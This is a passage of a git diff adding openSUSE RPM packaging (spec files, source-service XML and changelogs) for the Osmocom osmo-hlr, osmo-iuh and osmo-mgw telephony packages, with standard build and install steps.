+ * Add test suite skeleton with empty test (auc_3g_test)
+ * tests: auc_3g_test: implement vector generation test
+ * auth: verify test sets from 3GPP TS 55.205
+ * sql: add unique constraints to IMSI and MSISDN
+ * UMTS AKA resync: fix argument ordering
+ * Log error cause as a string
+
+-------------------------------------------------------------------
+Sun Dec 25 20:48:47 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.1.git1482328813.627de84:
+ * fix DLGSUP logging cat after change in libosmocore
+ * build: recoin db_test as non-installable program
+ * build: actually make sqlite mandatory
+ * bump required libosmocore version to 0.9.5
+ * Add gerrit settings
+ * Add hardcoded APN
+ * gsup: send subscriber MSISDN
+
+-------------------------------------------------------------------
+Sun Dec 11 09:31:30 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.1.git1481415765.ec1b959:
+ * build with autoconf/automake, add jenkins.sh script
+ * fix build on FreeBSD: eliminate implicitly declared functions
+ * fix various compiler warnings
+
+-------------------------------------------------------------------
+Fri Nov 11 10:56:18 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1478855826.7f8c301:
+ * State number of auth vectors in SAI response
+ * AUC: use osmo_hexparse() when reading key material from db
+ * some more comment / todo updates
+ * implement PURGE-MS from VLR/SGSN to HLR
+ * LU: correctly determine and use is_ps
+ * LU: remote oudated FIXME comments
+ * fix PURGE_MS sqlite3 access
+ * fix authentication re-sync (pass RAND+AUTS along)
+ * Fix build on Ubuntu
+ * add COPYING file with AGPLv3 license text
+
+-------------------------------------------------------------------
+Fri Nov 11 10:55:51 UTC 2016 - mardnh@gmx.de
+
+- initial package
+
diff --git a/rpm-local/spec/osmo-hlr/osmo-hlr.spec b/rpm-local/spec/osmo-hlr/osmo-hlr.spec
new file mode 100644
index 0000000..f377aef
--- /dev/null
+++ b/rpm-local/spec/osmo-hlr/osmo-hlr.spec
@@ -0,0 +1,189 @@
+#
+# spec file for package osmo-hlr
+#
+# Copyright (c) 2017 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2016, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: osmo-hlr
+Version: 1.2.0.46
+Release: 0
+Summary: Osmocom Home Location Register for GSUP protocol towards OsmoSGSN and OsmoCSCN
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+URL: https://projects.osmocom.org/projects/osmo-hlr
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: python2
+BuildRequires: systemd-rpm-macros
+BuildRequires: pkgconfig(libosmoabis) >= 0.6.0
+BuildRequires: pkgconfig(libosmocore) >= 1.2.0
+BuildRequires: pkgconfig(libosmoctrl) >= 1.2.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.2.0
+BuildRequires: pkgconfig(libosmovty) >= 1.2.0
+BuildRequires: pkgconfig(sqlite3)
+BuildRequires: pkgconfig(talloc) >= 2.0.1
+# only needed for populate_hlr_db.pl
+Requires: libdbi-drivers-dbd-sqlite3
+
+%description
+The GSUP HLR is a stand-alone HLR (Home Location Register) for SIM
+and USIM based subscribers which exposes the GSUP protocol towards
+its users. OsmoSGSN supports this protocol.
+
+osmo-gsup-hlr is still very simplistic. It is a single-threaded
+architecture and uses only sqlite3 tables as back-end. It is suitable
+for installations of the scale that OsmoNITB was able to handle. It
+also lacks various features like fine-grained control of subscribed
+services (like supplementary services).
+
+%package -n libosmo-gsup-client0
+Summary: Osmocom GSUP (General Subscriber Update Protocol) client library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmo-gsup-client0
+This is a shared library that can be used to implement client programs for
+the GSUP protocol. The typical GSUP server is OsmoHLR, with OsmoMSC, OsmoSGSN
+and External USSD Entities (EUSEs) using this library to implement clients.
+
+%package -n libosmo-gsup-client-devel
+Summary: Development files for the Osmocom GSUP client library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmo-gsup-client0 = %{version}
+
+%description -n libosmo-gsup-client-devel
+This is a shared library that can be used to implement client programs for
+the GSUP protocol. The typical GSUP server is OsmoHLR, with OsmoMSC, OsmoSGSN
+and External USSD Entities (EUSEs) using this library to implement clients.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmo-gsup-client.
+
+%package -n libosmo-mslookup0
+Summary: Osmocom MS lookup library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmo-mslookup0
+This shared library contains routines for looking up mobile subscribers.
+
+%package -n libosmo-mslookup-devel
+Summary: Development files for the Osmocom MS lookup library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmo-mslookup0 = %{version}
+
+%description -n libosmo-mslookup-devel
+This shared library contains routines for looking up mobile subscribers.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmo-mslookup.
+
+
+%package -n osmo-mslookup-client
+Summary: Standalone program using libosmo-mslookup
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+
+%description -n osmo-mslookup-client
+Standalone program using libosmo-mslookup to easily integrate with programs
+that want to connect services (SIP, SMS,...) to the current location of a
+subscriber.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --docdir="%{_docdir}/%{name}" \
+ --with-systemdsystemunitdir=%{_unitdir} \
+ --enable-shared \
+ --disable-static
+make V=1 %{?_smp_mflags}
+
+%install
+%make_install
+install -d "%{buildroot}/%{_localstatedir}/lib/osmocom"
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%preun
+%service_del_preun %{name}.service
+
+%postun
+%service_del_postun %{name}.service
+
+%pre
+%service_add_pre %{name}.service
+
+%post
+%service_add_post %{name}.service
+
+%post -n libosmo-gsup-client0 -p /sbin/ldconfig
+%postun -n libosmo-gsup-client0 -p /sbin/ldconfig
+%post -n libosmo-mslookup0 -p /sbin/ldconfig
+%postun -n libosmo-mslookup0 -p /sbin/ldconfig
+
+%files
+%license COPYING
+%dir %{_docdir}/%{name}
+%dir %{_docdir}/%{name}/examples
+%{_docdir}/%{name}/examples/osmo-hlr.cfg
+%{_docdir}/%{name}/examples/osmo-hlr-dgsm.cfg
+%dir %{_docdir}/%{name}/sql
+%{_docdir}/%{name}/sql/hlr.sql
+%{_docdir}/%{name}/sql//hlr_data.sql
+%dir %{_sysconfdir}/osmocom
+%dir %{_localstatedir}/lib/osmocom
+%{_bindir}/osmo-hlr
+%{_bindir}/osmo-hlr-db-tool
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-hlr.cfg
+%{_unitdir}/osmo-hlr.service
+
+%files -n libosmo-gsup-client0
+%{_libdir}/libosmo-gsup-client.so.0*
+
+%files -n libosmo-gsup-client-devel
+%{_bindir}/osmo-euse-demo
+%dir %{_includedir}/osmocom
+%dir %{_includedir}/osmocom/gsupclient
+%{_includedir}/osmocom/gsupclient/*.h
+%{_libdir}/libosmo-gsup-client.so
+%{_libdir}/pkgconfig/libosmo-gsup-client.pc
+
+%files -n libosmo-mslookup0
+%{_libdir}/libosmo-mslookup.so.0*
+
+%files -n libosmo-mslookup-devel
+%dir %{_includedir}/osmocom
+%dir %{_includedir}/osmocom/mslookup
+%{_includedir}/osmocom/mslookup/*.h
+%{_libdir}/libosmo-mslookup.so
+%{_libdir}/pkgconfig/libosmo-mslookup.pc
+
+%files -n osmo-mslookup-client
+%{_bindir}/osmo-mslookup-client
+
+%changelog
diff --git a/rpm-local/spec/osmo-iuh/_service b/rpm-local/spec/osmo-iuh/_service
new file mode 100644
index 0000000..961471b
--- /dev/null
+++ b/rpm-local/spec/osmo-iuh/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-iuh</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-iuh/_servicedata b/rpm-local/spec/osmo-iuh/_servicedata
new file mode 100644
index 0000000..1197d88
--- /dev/null
+++ b/rpm-local/spec/osmo-iuh/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-iuh</param>
+ <param name="changesrevision">7712808e07ec5c1c09d0fc2f759f88c2422b443d</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-iuh/osmo-iuh.changes b/rpm-local/spec/osmo-iuh/osmo-iuh.changes
new file mode 100644
index 0000000..aae38e7
--- /dev/null
+++ b/rpm-local/spec/osmo-iuh/osmo-iuh.changes
@@ -0,0 +1,366 @@
+-------------------------------------------------------------------
+Mon Apr 20 20:01:17 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.6.0.13:
+ * Fix compilation with gcc-10
+
+-------------------------------------------------------------------
+Tue Apr 14 20:01:17 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.6.0.12:
+ * hnbgw: do not use LOGL_DEBUG as default loglevel
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Wed Apr 08 20:01:27 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.6.0.10:
+ * tests/test-ranap: cosmetic: remove unused variable 'rc'
+ * tests/test-helpers: fix endianness: do not print uint32_t as raw bytes
+ * tests/test-helpers: fix some -Wpointer-sign warnings reported by GCC
+
+-------------------------------------------------------------------
+Wed Apr 01 20:01:17 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.6.0.7:
+ * manual: link to new common cs7-config.adoc
+ * manual: add "Configuring Primary Links" and "Multiple instances"
+
+-------------------------------------------------------------------
+Sat Mar 21 21:01:32 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.6.0.5:
+ * hnbgw_vty.c: Drop unusued variables
+ * Fix compiler warning on signedness of char ptr using OCTET_STRING_fromBuf()
+ * tests/test-ranap.c: Fix wrong printf format
+ * tests/hnb-test-ranap.c: Fix wrong printf format
+
+-------------------------------------------------------------------
+Sun Feb 16 09:39:53 UTC 2020 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 0.6.0.1:
+ * tests: Missing return statement
+
+-------------------------------------------------------------------
+Fri Jan 03 21:02:55 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.6.0.0:
+ * Bump version: 0.5.0.23-11a1 → 0.6.0
+ * debian: Split libosmo-sabp from libosmo-ranap package
+ * debian/rules: Fix dbg pacakges
+
+-------------------------------------------------------------------
+Wed Jan 01 21:02:41 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.5.0.23:
+ * osmo-hnbgw: make sure osmo_ss7_init() executed successfully
+
+-------------------------------------------------------------------
+Thu Dec 12 21:01:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.22:
+ * debian, asn1tostruct.py: switch to python3
+
+-------------------------------------------------------------------
+Wed Dec 11 21:02:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.21:
+ * gitignore: add gen_sabp.stamp
+
+-------------------------------------------------------------------
+Wed Dec 04 21:01:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.20:
+ * exit(2) on unsupported positional arguments on command line
+
+-------------------------------------------------------------------
+Sun Dec 01 21:02:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.19:
+ * Initial minimal OsmoHNBGW user manual
+
+-------------------------------------------------------------------
+Tue Oct 08 20:03:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.18:
+ * iu_client: ranap_iu_tx_release() change default cause code to Success
+
+-------------------------------------------------------------------
+Fri Oct 04 20:00:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.17:
+ * iu_client: pass return value of osmo_sccp_user_sap_down() towards the caller
+
+-------------------------------------------------------------------
+Thu Sep 26 20:01:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.16:
+ * sabp: Generate C/H files for SABP; create libosmo-sabp
+ * sabp: Add Procedure Codes and IEI constants to CommonDataTypes
+ * sabp: fixup SABP ASN.1 to avoid IOC (which are not supported by our toolchain)
+ * sabp: Initial import of SABP ASN.1 from 3GPP TS 25.419 V11.1.0 (2013-03)
+
+-------------------------------------------------------------------
+Sat Sep 21 20:00:49 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.12:
+ * asn1enum.pl: Make compatible with modern perl
+
+-------------------------------------------------------------------
+Fri Sep 20 20:01:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.11:
+ * hnbgw: Add libosmoctrl's VTY CTRL command initialization
+
+-------------------------------------------------------------------
+Mon Sep 16 20:01:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.10:
+ * iu_client: introduce UE field free_on_release
+ * iu_client: introduce ranap_iu_tx_release_free()
+
+-------------------------------------------------------------------
+Sun Sep 15 20:00:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.8:
+ * iu_client: allow to control the notifications
+
+-------------------------------------------------------------------
+Fri Sep 13 20:00:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.7:
+ * iu_client: introduce a guard around global_iu_event_cb
+
+-------------------------------------------------------------------
+Thu Sep 05 20:01:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.6:
+ * iu_client: emit RANAP_IU_EVENT_LINK_INVALIDATED on SCCP disconnect indication
+ * iu_client: introduce ranap_iu_free_ue() to free the UE connections
+ * iu_client: sccp_sap_up: don't decode empty disconnect indications
+
+-------------------------------------------------------------------
+Tue Sep 03 20:01:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.3:
+ * iu_client: ensure UE is not NULL on CO primitives
+ * iu_client: sccp_sap_up: set rc early
+
+-------------------------------------------------------------------
+Fri Aug 23 20:02:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.1:
+ * hnbgw_vty.c: fix: properly pass pointer to g_hnb_gw
+
+-------------------------------------------------------------------
+Thu Aug 08 21:54:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.0.0:
+ * Bump version: 0.4.0.14-92ea-dirty → 0.5.0
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+ * jenkins: Enable manual publishing and building
+ * Add VTY reference manual
+
+-------------------------------------------------------------------
+Thu Jul 18 20:03:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.11:
+ * osmo-hnbgw.cfg: set local-ip to 0.0.0.0
+
+-------------------------------------------------------------------
+Wed Jul 17 19:02:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.10:
+ * spelling stuff found by lintian
+
+-------------------------------------------------------------------
+Thu Jul 11 20:07:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.9:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Mon Apr 22 20:01:11 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.8:
+ * ranap_msg_factory: Fix criticality of PDUs
+ * iu_client: Implement transmission of ResetAcknowledge
+
+-------------------------------------------------------------------
+Tue Mar 19 21:01:11 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.6:
+ * tests: use -no-install libtool flag to avoid ./lt-* scripts
+
+-------------------------------------------------------------------
+Fri Mar 08 21:01:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.5:
+ * osmo-hnbgw: reply with RESET ACK when receiving a RESET
+ * osmo-hnbgw: logging tweaks
+
+-------------------------------------------------------------------
+Wed Mar 06 21:01:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.3:
+ * osmo-hnbgw: set a proper talloc ctx for logging
+ * osmo-hnbgw: fix cmdline: do not force-disable colored logging
+
+-------------------------------------------------------------------
+Fri Jan 25 21:00:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.1:
+ * ranap_msg_factory.h: fix enum def within function signature
+
+-------------------------------------------------------------------
+Mon Jan 21 21:00:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.0:
+ * Bump version: 0.3.0.10-9e66-dirty → 0.4.0
+
+-------------------------------------------------------------------
+Thu Dec 06 21:00:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.13:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Tue Dec 04 21:00:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.12:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Thu Nov 01 21:01:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.11:
+ * add a VTY command which shows a specific HNB
+
+-------------------------------------------------------------------
+Sun Oct 21 17:23:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.10:
+ * hnbgw_tx_hnb_register_rej(): Missing return statement
+
+-------------------------------------------------------------------
+Mon Oct 01 18:09:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.9:
+ * fix transport layer addr again, for nano3g
+
+-------------------------------------------------------------------
+Thu Sep 27 20:01:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.8:
+ * hnbgw: vty: add SCCP related vty commands
+
+-------------------------------------------------------------------
+Thu Sep 13 20:00:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.7:
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Thu Sep 06 20:00:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.5:
+ * debian: package osmo-hnbgw.service
+
+-------------------------------------------------------------------
+Tue Aug 21 20:01:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.4:
+ * fix decoding of incoming X.213 NSAP addr
+
+-------------------------------------------------------------------
+Mon Aug 06 20:01:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.3:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Wed Jul 25 20:00:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.2:
+ * hnbgw: remove close_cb() to fix a crash when releasing a hnbgw
+
+-------------------------------------------------------------------
+Tue Jun 05 20:01:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.1:
+ * asn1tostruct: allow to override build date
+
+-------------------------------------------------------------------
+Thu May 03 20:01:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.0:
+ * debian/changelog: set prev releases to unstable
+ * Bump version: 0.2.0.57-cf5f-dirty → 0.3.0
+
+-------------------------------------------------------------------
+Sat Apr 07 18:50:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.57:
+ * cosmetic: use osmo_plmn_id instead of mcc,mnc
+
+-------------------------------------------------------------------
+Wed Mar 14 21:25:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.56:
+ * hnbgw_rua: fix dereference of unset pointer
+ * hnbgw_cn: rx ranap: set rc in all cases
+ * hnbgw_hnbap: fix missing return in rx [un]successful outcome
+ * cosmetic: hnbgw: hnbap: log rx of unsuccessful outcome
+ * hnbap: log errors on decoding/encoding HNB-REGISTER msgs
+ * configure.ac: Enable -Wall flag
+ * contrib: jenkins.sh: Disable doxygen in libosmocore build
+ * ensure unique CellIDs in HNB-GW
+ * hnb-test: log accurate three-digit MNC with leading zeros
+ * configure: add --enable-werror
+
+-------------------------------------------------------------------
+Sat Feb 10 20:40:07 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Wed Jan 24 13:08:34 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.2.0.51
+- Remove patches: (fixed upstream)
+ * 0001-fix-compiler-warning-implicit-function-declaration-i.patch
+ * 0001-fix-return-values.patch
+ * 0001-iu_client-uses-gprs_msgb.h.patch
+
+-------------------------------------------------------------------
+Mon Jan 1 23:09:44 UTC 2018 - jengelh@inai.de
+
+- Add 0001-fix-return-values.patch,
+ 0001-iu_client-uses-gprs_msgb.h.patch
+
+-------------------------------------------------------------------
+Wed Dec 27 11:08:55 UTC 2017 - mardnh@gmx.de
+
+- Update to new upstream release 0.2.0
+ * No changelog was provided
+- Add patch:
+ * 0001-fix-compiler-warning-implicit-function-declaration-i.patch
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Sat Apr 29 00:08:32 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.0~g435
+ * Better capture for PS Data
+ * osmo-hnbgw, hnb-test: allow configuring VTY address
+ * hnbgw: set default RNC ID to 23 (for testing)
+ * UE Register: fix: free ies when no IMSI is found
+ * ranap: make X.213 NSAP 160 bits long, zero padded
+ * hnbgw: Fix crash if cnlink fails to connect
+
+-------------------------------------------------------------------
+Mon Feb 8 11:53:24 UTC 2016 - jengelh@inai.de
+
+- Initial package (version 0.0~g282 / 6a62e549cdede)
+ for build.opensuse.org
diff --git a/rpm-local/spec/osmo-iuh/osmo-iuh.spec b/rpm-local/spec/osmo-iuh/osmo-iuh.spec
new file mode 100644
index 0000000..e2abd35
--- /dev/null
+++ b/rpm-local/spec/osmo-iuh/osmo-iuh.spec
@@ -0,0 +1,136 @@
+#
+# spec file for package osmo-iuh
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: osmo-iuh
+Version: 0.6.0.13
+Release: 0
+Summary: Osmocom code for the Iuh interface (HNBAP, RUA, RANAP)
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Hardware/Mobile
+URL: https://osmocom.org/projects/osmohnbgw/wiki
+Source: %{name}-%{version}.tar.xz
+BuildRequires: automake >= 1.9
+BuildRequires: libtool >= 2
+BuildRequires: lksctp-tools-devel
+BuildRequires: pkgconfig >= 0.20
+# python3 for asn1tostruct.py
+BuildRequires: python3
+BuildRequires: pkgconfig(libasn1c) >= 0.9.30
+BuildRequires: pkgconfig(libosmo-netif) >= 0.3.0
+BuildRequires: pkgconfig(libosmo-sigtran) >= 0.10.0
+BuildRequires: pkgconfig(libosmocore) >= 0.12.0
+BuildRequires: pkgconfig(libosmoctrl) >= 0.12.0
+BuildRequires: pkgconfig(libosmogb)
+BuildRequires: pkgconfig(libosmogsm) >= 0.12.0
+BuildRequires: pkgconfig(libosmovty) >= 0.12.0
+
+%description
+Osmocom code for the Iuh interface (HNBAP, RUA, RANAP)
+
+%package -n libosmo-ranap3
+Summary: Shared Library part of libosmo-ranap
+Group: System/Libraries
+
+%description -n libosmo-ranap3
+Osmocom code for the Iuh interface (HNBAP, RUA, RANAP)
+
+%package -n libosmo-ranap-devel
+Summary: Development files for Osmocom RANAP library
+Group: Development/Libraries/C and C++
+Requires: libosmo-ranap3 = %{version}
+
+%description -n libosmo-ranap-devel
+Osmocom code for the Iuh interface (HNBAP, RUA, RANAP)
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmoranap.
+
+
+%package -n libosmo-sabp0
+Summary: Shared Library part of libosmo-sabp
+Group: System/Libraries
+
+%description -n libosmo-sabp0
+Osmocom code for the SABP (service area broadcast protocol) interface
+
+%package -n libosmo-sabp-devel
+Summary: Development files for Osmocom SABP library
+Group: Development/Libraries/C and C++
+Requires: libosmo-sabp0 = %{version}
+
+%description -n libosmo-sabp-devel
+Osmocom code for the SABP (service area broadcast protocol) interface
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmo-sabp.
+
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --disable-static \
+ --docdir="%{_docdir}/%{name}" \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libosmo-ranap3 -p /sbin/ldconfig
+%postun -n libosmo-ranap3 -p /sbin/ldconfig
+%post -n libosmo-sabp0 -p /sbin/ldconfig
+%postun -n libosmo-sabp0 -p /sbin/ldconfig
+%pre %service_add_pre osmo-hnbgw.service
+%post %service_add_post osmo-hnbgw.service
+%preun %service_del_preun osmo-hnbgw.service
+%postun %service_del_postun osmo-hnbgw.service
+
+%files
+%license COPYING
+%doc README.md
+%dir %{_docdir}/%{name}/examples
+%{_docdir}/%{name}/examples/osmo-hnbgw.cfg
+%{_bindir}/osmo-hnbgw
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-hnbgw.cfg
+%{_unitdir}/osmo-hnbgw.service
+
+%files -n libosmo-ranap3
+%{_libdir}/libosmo-ranap.so.3*
+
+%files -n libosmo-ranap-devel
+%{_includedir}/*
+%{_libdir}/libosmo-ranap.so
+%{_libdir}/pkgconfig/libosmo-ranap.pc
+
+%files -n libosmo-sabp0
+%{_libdir}/libosmo-sabp.so.0*
+
+%files -n libosmo-sabp-devel
+%{_libdir}/libosmo-sabp.so
+%{_libdir}/pkgconfig/libosmo-sabp.pc
+
+%changelog
diff --git a/rpm-local/spec/osmo-mgw/_service b/rpm-local/spec/osmo-mgw/_service
new file mode 100644
index 0000000..2dde4ce
--- /dev/null
+++ b/rpm-local/spec/osmo-mgw/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-mgw</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-mgw/_servicedata b/rpm-local/spec/osmo-mgw/_servicedata
new file mode 100644
index 0000000..6b89473
--- /dev/null
+++ b/rpm-local/spec/osmo-mgw/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-mgw</param>
+ <param name="changesrevision">63866009e2db2aba4dfa30515f8e7f5032e5c89e</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-mgw/osmo-mgw.changes b/rpm-local/spec/osmo-mgw/osmo-mgw.changes
new file mode 100644
index 0000000..8f3deb5
--- /dev/null
+++ b/rpm-local/spec/osmo-mgw/osmo-mgw.changes
@@ -0,0 +1,869 @@
+-------------------------------------------------------------------
+Wed May 06 20:03:13 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.7.0.10:
+ * counters: Implement more useful counters.
+
+-------------------------------------------------------------------
+Tue May 05 20:03:45 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.7.0.9:
+ * vty: Prepend VTY output of counters for better visual separation.
+
+-------------------------------------------------------------------
+Tue Apr 14 20:03:19 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.7.0.8:
+ * configure.ac: fix libtool issue with clang and sanitizer
+ * tests: dlopen does not imply availability of dlsym..
+
+-------------------------------------------------------------------
+Wed Apr 01 20:03:32 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.7.0.6:
+ * doc: do not bind osmo-mgw to random ip-address
+
+-------------------------------------------------------------------
+Tue Mar 10 21:02:39 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.7.0.5:
+ * allow larger MGCP client wqueue: 10 -> 1024
+
+-------------------------------------------------------------------
+Sun Mar 08 21:02:35 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.7.0.4:
+ * Update per-trunk global packet/byte counters in real-time
+ * fix vty dump_trunk: start from zero, do not omit first CONN
+ * Add CTRL interface to osmo-mgw
+ * Fix number of endpoints of default trunk
+
+-------------------------------------------------------------------
+Fri Jan 03 21:08:22 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.7.0.0:
+ * Bump version: 1.6.0.30-832bc-dirty → 1.7.0
+
+-------------------------------------------------------------------
+Thu Dec 12 21:05:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.30:
+ * osmoappdesc.py: switch to python 3
+
+-------------------------------------------------------------------
+Wed Dec 04 21:03:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.29:
+ * exit(2) on unsupported positional arguments on command line
+
+-------------------------------------------------------------------
+Sun Dec 01 21:08:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.28:
+ * Move fsm_mgcp_client regstration to __attribute__((contructor))
+ * mgcp_client: Check for osmo_fsm_register() error return value
+ * manual: Fix copy+paste error
+
